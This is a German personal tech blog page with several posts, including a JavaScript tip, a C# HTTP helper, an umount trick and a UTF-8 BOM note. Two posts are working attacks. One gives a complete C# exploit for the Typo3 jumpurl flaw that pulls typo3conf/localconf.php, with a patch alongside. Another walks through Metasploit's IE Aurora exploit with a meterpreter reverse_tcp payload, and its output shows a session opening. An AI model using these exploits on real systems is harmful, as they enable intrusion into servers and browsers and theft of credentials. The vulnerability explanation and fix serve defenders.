Da die Statistik sehr viele Suchanfragen nach dem oben betitelten Thema verzeichnet, habe ich mich entschlossen darüber zu schreiben. Allgemein ist “Javascript: prüfen ob ein Element existiert” ein gutes Google Thema. In Javascript ist das prüfen ob ein Element existiert bzw. vorhanden ist ebenso einfach wie in jQuery. Zum Javascriptcode:

if (document.getElementById('divname')) {
// Code ausführen, wenn DIV Element vorhanden. Funktioniert!
}

Der Selektor ist in purem Javascript auf die div id beschränkt. Sehr ärgerlich ist das hierbei keine Klassen selektiert werden können. jQuery bietet diese Möglichkeit.

4 Kommentare »
 

C#: Typo3 Jumpurl Exploit

Um es mir zu ermöglichen Typo3 Installationen von Windows System aus auf die Jumpurl Sicherheitslückezu überprüfen, habe ich mir einen Exploit in C# programmiert. Ich veröffentliche den Exploit erst jetzt, weil inzwischen die meisten Systeme gefixt sein sollten. Zunächst möchte ich die Vorgehensweise des Exploits beschreiben.

Als erstes wird ein HTTP Anfrage mit einer bestimmten Kombination an GET Parametern an Typo3 gesandt. Die Antwort dieser Anfrage wird eingelesen und die Prüfsumme die in der Antwort steht ausgelesen. Nun wird eine zweite Anfrage an das Typo3 System gesandt. Diese Abfrage ist eine Downloadanforderung für eine Datei, welche mit der Prüfsumme aus der zuvor erhaltenen Anfrage validiert wird.

Verwundbar sind die Typo3 Versionen TYPO3 < 4.2.6, TYPO3 < 4.1.10 und TYPO3 < 4.0.12. In den Typo3 Versionen < 4 findest du die fehlerhafte Datei in “tslib/class.tslib_fe.php”. In den Versionen >= 4 ist die Datei unter “typo3/sysext/cms/tslib/class.tslib_fe.php” zu finden. Schauen wir uns den verwundbaren Quellcodeabschnitt mit Vorgangs relevanten Kommentaren Typo3 aus an:

## Prüfen ob $_GET['jumpurl'] nicht leer ist
if ($this-&gt;jumpurl)	{
 
    ## Prüfen ob $_GET['juSecure'] nicht leer ist
    if (t3lib_div::_GP('juSecure'))	{
        $hArr = array(
            $this-&gt;jumpurl,
            t3lib_div::_GP('locationData'),
            $this-&gt;TYPO3_CONF_VARS['SYS']['encryptionKey']
        );
        $calcJuHash=t3lib_div::shortMD5(serialize($hArr));
        $locationData = t3lib_div::_GP('locationData');
        $juHash = t3lib_div::_GP('juHash');
 
        ## Prüfe ob $_GET['juHash'] gleich der errechneten Prüfsumme
        if ($juHash == $calcJuHash)	{
 
            ## $_GET['locationData'] überprüfen
            if ($this-&gt;locDataCheck($locationData))	{
                $this-&gt;jumpurl = rawurldecode($this-&gt;jumpurl);
                if (t3lib_div::verifyFilenameAgainstDenyPattern($this-&gt;jumpurl) &amp;&amp; basename(dirname($this-&gt;jumpurl)) !== 'typo3conf') {
                    if (@is_file($this-&gt;jumpurl)) {
                        $mimeType = t3lib_div::_GP('mimeType');
                        $mimeType = $mimeType ? $mimeType : 'application/octet-stream';
 
                        ## Das Senden der Datei
                        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                        header('Content-Type: '.$mimeType);
                        header('Content-Disposition: attachment; filename='.basename($this-&gt;jumpurl));
                        readfile($this-&gt;jumpurl);
                        exit;
                    } else die('jumpurl Secure: "'.$this-&gt;jumpurl.'" was not a valid file!');
                } else die('jumpurl Secure: The requested file type was not allowed to be accessed through jumpUrl (fileDenyPattern)!');
            } else die('jumpurl Secure: locationData, '.$locationData.', was not accessible.');
 
        ## Hier findet die Ausgabe der Prüfsumme statt
        } else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.');
    } else {

Die Sicherheitslücke kann durch das ersetzen von:

} else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.');

durch:

} else die('jumpurl Secure: Calculated juHash did not match the submitted juHash.');

geschlossen werden. Natürlich kannst du potentiellen Angreifern auch eine Nachricht hinterlassen oder dich über einen Angriff und den Angreifer informieren lassen. Ein kleines Beispiel hierzu:

} else {
	mail(
		'mail@example.com', ## Hier musst du deine E-Mail Adresse eintragen
		'Möglicher Einbruchsversuch auf Ihrem Typo3 System ('.$_SERVER['HTTP_HOST'].') via Jumpurl',		
		"IP:n".$_SERVER['REMOTE_ADDR'].
		"nnUhrzeit:n".date('d.m.Y H:i:s', $_SERVER['REQUEST_TIME']).
		"nnGET Parameter:n".$_SERVER['QUERY_STRING'],
		"Content-type: text/plain; charset=utf-8rn"
	);
        exit('

Der Systemadministrator wurde benachrichtigt.

‘); }

(Der zu ersetzende Teil bezieht sich auf den oben angesprochenen Fehlerhaften Quellcodeabschnitt)

Der C# Quellcode basiert auf der get_http_as_string Funktion die bereits in einem anderen Artikel besprochen wurde. Das ist der, wie immer gut kommentierte, C# Exploit Quellcode für die Typo3 Sicheitslücke:

/*
 * [arg[0] = string] die URL zum Typo3 System
 * [arg[1] = string] (optional) die herunterzuladende Datei
 */
public static void Main(string[] args)
{
        // Prüfe ob arg[0] vorhanden
	if (args.Length &gt; 0) 
        {
                // Regulärer Ausdruck für die URL Validierung         
		Regex r = new Regex(@"^https?://([a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?.)+([a-zA-Z]{2,6})/|[a-zA-Z0-9]/$");
 
                // Prüfe ob URL valide anhand des Regulären Ausdrucks		
		if (r.IsMatch(args[0]))
		{
			string file = "";
 
                        // Prüfe ob arg[1] vorhanden
			if (args.Length &gt; 1) 
			{
 
                               // Prüfe ob arg[1] nicht leer ist  
				if (args[1].Length &gt; 0) 
				{
					file = args[1];
				}
				else 
				{
					file = "typo3conf/localconf.php";
				}
			}
			else 
			{
				file = "typo3conf/localconf.php";
			}
 
                        // Ermittle mit einer HTTP Anfrage die Ausgabe der Prüfsumme
			string content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&amp;juSecure=1&amp;locationData=1:", 8192);
 
                        // Prüfe ob Ausgabe vorhanden
			if (content.Length &gt; 0) {
 
                                // Regulärer Ausdruck für die Prüfsumme
				r = new Regex("([a-f0-9]{10})+");
 
                                // Versuche die Prüfsumme anhand des Regulären Ausdrucks zu finden
				Match m = r.Match(content);
 
                                // Prüfe ob die Prüfsumme gefunden wurde
				if (m.Length &gt; 0)
				{
                                        // Prüfsumme wurde gefunden. Starte zweite HTTP Anfrage mit der Downloadanforderung.
					content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&amp;juSecure=1&amp;locationData=1:&amp;juHash=" + m.Value, 8192);
					Console.WriteLine("# File content:");
					Console.WriteLine(content);
					Console.WriteLine("# Attack successful!");
				}
				else
				{
					Console.WriteLine("# Hash indeterminate );");
				}	
			}
			else
			{
				Console.WriteLine("# Something is going really wrong. Maybe the URL?");
			}
		}
		else
		{
			Console.WriteLine("# Wrong URL format. Try this: http://./&lt;dir[OPTIONAL]&gt;/");	
		}
	}
	else 
	{
		Console.WriteLine("# Typo3 Jumpurl exploit");	
		Console.WriteLine("# Usage: http://./ &lt;file[OPTIONAL]&gt;");
		Console.WriteLine("# More: http://www.monkey-business.biz/495/c-typo3-jumpurl-exploit/");
	}	
}

Ist das zweite Argument beim Programmaufruf nicht gesetzt wird versucht die Typo3 Konfigurationsdatei aus dem standard Pfad (typo3conf/localconf.php) herunterzuladen.

Das komplette Mono Projekt inklusive der ausführbaren Datei kann hier heruntergeladen werden:

Typo3 Jumpurl Exploit – C# Mono Projekt – herunterladen

(Das Programm ist zu Studienzwecken da und nicht um damit Unfug zu treiben)

Keine Kommentare »
 

Öfter habe ich nun schon im Web gelesen, das Beispielcode gesucht wird, wie es in C# möglich ist eine Internetseite als Rückgabewert einer Methode als String zurück zu erhalten. Ich verwende hierbei die Klasse WebRequest für die HTTP Anfrage und den Streamreader zum lesen des Ergebnisses. Folgender, gut kommentierter, Codeschnippsel den ich für ein kleines Projekt erstellt habe sollte dir weiterhelfen:

/*
 * [url = string] die URL
 * [buffersize = int] Größe des Zwischenspeichers
 */
private static string http_get_as_string(string url, int buffersize)
{
        // Initialisiert den Webrequest
	WebRequest request = WebRequest.Create(url);
 
        // Der Anfragentyp. Wir übertragen keine POST Daten
	request.Method = "GET";
 
        // Sollte keine nach 10000 Millisekunden keine Antwort kommen abbrechen
	request.Timeout = 10000;
 
        // Fehler Abfangen für den Fall das keine Antwort kommt
	try
 	{
                // Die Antwort des Webservers erhalten
		HttpWebResponse response = (HttpWebResponse) request.GetResponse();
 
                // Gibt den Datenstream der Antwort zurück
                Stream resource = response.GetResponseStream();
 
		// Den Zwischenspeicher erstellen
		byte[] buffer = new byte[buffersize];
 
		// Hier wird gespeichert wie viel Bytes noch zu lesen sind
		int toread = 0;
 
		// Der Inhalt der Internetseite
		string content = "";
 
		// Der Einlesevorgang in einer Schleife. Stück für Stück. Solange noch Daten vorhanden sind		
		do
		{					
			// Lesen aus dem Stream. Maximal die Zwischenspeichergröße auf einmal
			toread = resource.Read(buffer, 0, buffersize);
 
			// Prüft ob noch Daten zum Codieren da sind			
			if (toread != 0)
			{
				// Daten UTF-8 codieren
				content += Encoding.UTF8.GetString(buffer, 0, toread);						
			}
		}
		while(toread > 0);
		return content;
 	}
	catch (WebException e)
	{
 		return "";
 	}
}

Die Funktion ermöglicht nicht nur das einlesen von HTML Code sondern ebenso das einlesen von XML, CSS oder Javascript Datein. Kurzum alle Dateien die über HTTP erreichbar sind. Für Fragen steht die Kommentarfunktion zur Verfügung.

Keine Kommentare »
 

Wer kennt das nicht:

:~$ umount /media/disk/
umount: /media/disk: device is busy

“device is busy” – Der Wechseldatenträger lässt sich nicht aushängen, weil er gerade noch von einem Programm in Benutzung ist. Die Umount Option -f führt nicht zum Ziel. Auch wenn -f für “force” steht. Den Datenträger dennoch auszuhängen ist folgendermaßen möglich:

:~$ umount -l /dev/disk

In der Manpage steht zur Option -l:

“-l Lazy unmount. Detach the filesystem from the filesystem hierarchy now, and cleanup all refer* ences to the filesystem as soon as it is not busy anymore. (Requires Kernel 2.4.11 or later.)”

Keine Kommentare »
 

Verspätet muss ich meine Freude über die Warnung des BSI vor dem Internet Explorer veröffentlichen. Der Fehler ist bisher noch ungepacht und das Exploit schon seit einiger Zeit online verfügbar. Es sind die Versionen 6 – 8 von Microsofts Internet Explorer betroffen. Laut heise.de wurden über diesen Schwachpunkt im Browser bereits gezielte Angriffe auf Google und andere amerikanische Firmen verübt. Microsoft selber empfiehlt die Sicherheitseinstellungen im Internet Explorer auf “hoch” zu stellen. Das deaktivieren von Javascript reicht jedoch aus um der Gefahr des Internet Explorer Aurora Exploit zu entgehen. Inzwischen wurde das Exploit sogar in das Exploit Framework Metasploit aufgenommen. Das Exploit aus dem Metasploit Framework ist nur beim Internet Explorer 6 funktional. Auf den Internet Explorer 7 sind trotz Protected Mode auch unter Windows Vista erfolgreiche Angriffe möglich. In der achten Version des Internet Explorers verhindert DEP (Data Execution Prevention) das Ausführen des Schädlichen Quellcodes. Um das “Internet Explorer Aurora Exploit” in die Finger zu bekommen muss man sich den aktuellen Snapshot via Subversion herunterladen. Die aktuelle Download Version war zum Veröffentlichungszeitpunkt das Metasploit Framework 3.3.3. Der Downloadvorgang ist denkbar einfach und schnell:

mkdir METASPLOITORDNER
cd METASPLOITORDNER
svn co https://www.metasploit.com/svn/framework3/trunk/

Das Aurora Exploit aus dem Metasploit Framework verwendet man folgendermaßen:

:~$ cd METASPLOITORDNER
:~$ msfconsole
msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (deine IP)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.2.101:8080/
[*] Server started.

Nach dieser Ausgabe landet man wieder an einer Eingabeaufforderung.

msf exploit(ie_aurora) >

Nun wird mit dem Internet Explorer Kontakt zur eigenen IP Adresse aufgenommen. Wenn der Exploit erfolgreich ausgeführt wird erscheint die Ausgabe:

[*] Sending stage (723456 bytes)
[*] Loaden session 1 opened (192.168.2.101:4444 -> 192.168.0.2.101)

Metasploit bietet nun die Möglichkeit die Kontrolle des Rechners zu übernehmen. Darauf werde ich hier jedoch nicht weiter eingehen. Es lässt sich hoffen das es demnächst ein Update für den Internet Explorer geben wird.

Keine Kommentare »
 

Bei Arbeiten wurde ich auf ein merkwürdiges Zeichen “” im HTML Dokument aufmerksam, weil dieses die Darstellung des Layouts beinträchtigte. Nach einiger Recherche fand ich heraus das es sich hierbei um das UTF-8 Byte Order Mark kurz BOM handelt. Das Byte Order Mark ist eine Bytefolge die von einigen Programmen verwendet wird um anzuzeigen das ein Dokument UTF-8 codiert ist. Anderen Programmen, wie Browsern, ist diese Bytefolge nicht geläufig. Häufig wird es dann in dieser Form  dargestellt.

Einen Webbasierenden Test ob das BOM in einem Dokument vorhanden ist findest du hier: BOM Tester

Keine Kommentare »